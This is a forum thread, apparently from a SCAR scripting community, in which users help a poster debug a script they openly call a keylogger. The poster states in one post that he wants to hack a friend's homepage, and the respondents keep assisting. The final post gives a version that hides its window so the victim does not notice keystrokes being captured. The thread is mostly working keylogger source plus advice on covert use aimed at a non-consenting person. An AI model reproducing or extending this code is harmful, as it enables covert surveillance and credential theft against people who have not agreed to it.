Results 1 to 9 of 9

Thread: Need help with keylogger. "Type Mismatch".

  1. #1
    Join Date
    Dec 2007
    Location
    Norway
    Posts
    13
    Mentioned
    0 Post(s)
    Quoted
    0 Post(s)

    Default Need help with keylogger. "Type Mismatch".

    I get error here:

    SCAR Code:
    If (IsKeyDown(LowerCase(X))) Then
      Begin
        Repeat
          Wait(0);
        Until(IsKeyUp(x))
        Writeln(x);
      End;
    (Its the "If (IsKeyDown(LowerCase(X))) Then)

    "X" Is a String.
    "KeyUp" is a procedure i made.

  2. #2
    Join Date
    Aug 2007
    Posts
    1,404
    Mentioned
    1 Post(s)
    Quoted
    0 Post(s)

    Default

    IsKeyDown uses a "Char" which is not to be confused with a string (though they are almost the same).

    A char is ONE letter (e.g. "s"), where a string can have a length of... Much longer

    So in order to make your script work, you have to make the variable "X" a char.

    -Knives

  3. #3
    Join Date
    Dec 2007
    Location
    Norway
    Posts
    13
    Mentioned
    0 Post(s)
    Quoted
    0 Post(s)

    Default

    My variable is only one character.. it is a (I made it like this: X := 'a';..)

    Edit: I got a smiley at the end
    Edit2: So I can make it like:
    SCAR Code:
    Var
      X: Char;
    Edit3: Nope I could not.. it didnt work.. Got the same error..
    Edit4: I tryed:
    SCAR Code:
    If (IsKeyDown('a')) Then
    and then it worked...

  4. #4
    Join Date
    Aug 2007
    Posts
    1,404
    Mentioned
    1 Post(s)
    Quoted
    0 Post(s)

    Default

    SCAR Code:
    Procedure Whatever;
    var
     X: char;
    begin
      x:= 'a'; // Only 1 letter! nothing more.
      if IsKeyDown(x) then
      begin
        // Whatever you want to do
      end;
    end;

    That should work. If it doesn't, just post again. We can sort this out.

    -Knives

  5. #5
    Join Date
    Dec 2007
    Location
    Norway
    Posts
    13
    Mentioned
    0 Post(s)
    Quoted
    0 Post(s)

    Default

    Yea, thanks for ur help!

    But now i got another problem.

    When I type something, and the script types it back, I get the keys in alfabethic order. That means "The" would be "ehT".

    Edit: Jeg er fra norge

  6. #6
    Join Date
    Dec 2007
    Location
    Norway
    Posts
    13
    Mentioned
    0 Post(s)
    Quoted
    0 Post(s)

    Default

    Anyone?

    Please I need help with this, I want to hack my friends homepage :S

  7. #7
    Join Date
    Dec 2006
    Location
    Copy pastin to my C#
    Posts
    3,788
    Mentioned
    8 Post(s)
    Quoted
    29 Post(s)

    Default

    Lol, if you wanna hack it then hack it, login-ing to someones account isn't hacking I guess

    "The" would be "ehT".
    ...no?

    SCAR Code:
    Var
      ABC: String;
     
     
    Function Down: String;
    Var
      I: Integer;
    Begin
      For I := 1 To 26 Do
        If IsKeyDown(ABC[i]) Then
          Result := ABC[i];
    End;


    begin
      ABC := 'abcdefghijklmnopqrstuvwxyz';
    end.

    Btw, if you know Java, though if you would I doubt you'd be asking this -
    http://java.sun.com/j2se/1.5.0/docs/api/

    I wish I would have enough skill to make the constructor for that class =/

  8. #8
    Join Date
    Dec 2007
    Location
    Norway
    Posts
    13
    Mentioned
    0 Post(s)
    Quoted
    0 Post(s)

    Default

    So i can tell the script wich key in a string i want him to pick out if i know the lenght of the string?

    Like you did here:
    SCAR Code:
    Function Down: String;
    Var
      I: Integer;
    Begin
      For I := 1 To 36 Do
        If IsKeyDown(ABC[i]) Then  //Here, the ABC[i].
          Result := ABC[i];
    End;

    If so, then its brilliant!


    Edit: We made the keylogger work

    SCAR Code:
    program KeyLogg;
    Var
      ABC, KeyString: String;
     
    Function IsKeyUp(C:Char): Boolean;
    Begin
      If (Not(IsKeyDown(C))) Then
      Begin
        Result := True;
      End;
    End;

    Function Down: String;
    Var
      I: Integer;
    Begin
      For I := 1 To 36 Do
        If IsKeyDown(ABC[i]) Then
        Begin
          Result := ABC[i];
          Repeat
            Wait(0)
          Until(IsKeyUp(ABC[i]))
        End;
    End;


    Begin
      ABC := 'abcdefghijklmnopqrstuvwxyz1234567890';
      Repeat
        KeyString := KeyString + Down;
      Until(IsFKeyDown(1))
      Writeln(KeyString)
    End.

  9. #9
    Join Date
    Dec 2006
    Location
    Copy pastin to my C#
    Posts
    3,788
    Mentioned
    8 Post(s)
    Quoted
    29 Post(s)

    Default

    Lol gratz Btw, one thing if you really want to keylog someone without him noticing, do this:
    SCAR Code:
    program KeyLogg;
    Var
      ABC, KeyString: String;

    Function IsKeyUp(C:Char): Boolean;
    Begin
      If (Not(IsKeyDown(C))) Then
      Begin
        Result := True;
      End;
    End;

    Function Down: String;
    Var
      I: Integer;
    Begin
      For I := 1 To 36 Do
        If IsKeyDown(ABC[i]) Then
        Begin
          Result := ABC[i];
          Repeat
            Wait(0)
          Until(IsKeyUp(ABC[i]))
        End;
    End;


    Begin
      GetSelf.HIDE;
      ABC := 'abcdefghijklmnopqrstuvwxyz1234567890';
      Repeat
        KeyString := KeyString + Down;
      Until(IsFKeyDown(1))
      GetSelf.SHOW;
      Writeln(KeyString)
    End.

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. Replies: 5
    Last Post: 05-17-2008, 12:48 PM
  2. action="www.site.com" method="post"
    By Jason2gs in forum General
    Replies: 4
    Last Post: 05-17-2007, 11:50 PM
  3. Replies: 3
    Last Post: 04-19-2007, 03:44 AM
  4. Replies: 5
    Last Post: 10-26-2006, 11:30 PM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •